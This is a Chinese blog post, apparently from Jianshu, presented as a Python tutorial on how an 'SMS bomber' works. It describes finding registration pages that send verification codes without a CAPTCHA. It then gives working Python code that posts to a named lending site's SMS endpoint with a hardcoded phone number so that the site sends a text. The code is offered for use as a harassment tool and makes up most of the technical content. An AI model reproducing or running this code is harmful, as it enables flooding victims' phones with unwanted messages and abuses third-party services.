(Python进阶之路)短信轰炸机原理

短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制。所以主要工作还是寻找这样的网站,然后利用Fiddler分析请求,使用post还是get,数据格式是怎么样的等。

以微贷网为例,这个网站注册的时候不需要验证码就可以发送短信:

注册.JPG

点击获取验证码后通过Fiddler分析请求:

2.JPG

我们可以发现,这个请求是POST请求。知道了这些之后就可以开始写代码。

import requests

agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
session = requests.session()
headers = {
    'Referer':"https://www.weidai.com.cn/regs/register.html",
    'User-Agent':agent
}

def login():
    url = 'https://www.weidai.com.cn/regs/mobileCode'
    # code = input()
    data = {
        'cate':0,
        'mobiles':'18668231697',
        'net4': 0.14528221177418043,
        'scode':0
    }
    ron = session.post(url, headers=headers, data=data)
    print(ron.status_code)

if __name__ == '__main__':
    login()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,891评论 18 139
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 173,179评论 25 708
  • 月亮清悬天涯边,白光绕床梦阑干,丝风掀帘声回环,对影呓话枕头满,搔头狂思头发乱,人间三月情已满,怎容一春添新烦。
    侬与汝阅读 142评论 0 0
  • 上周末去电影院看了《战狼2》,看完好激动,很自豪作为一名中国公民,拖延了几天,趁着对剧情还有印象,写一篇影评 看完...
    蜜糖771阅读 243评论 0 1
  • 日子一天天过去,转眼快到过年。 “星星,你的身体已经养的差不多了,想不想继续读书啊?”晚上吃饭的时候,奶奶慈祥地问...
    青梅竹马简单爱阅读 383评论 0 2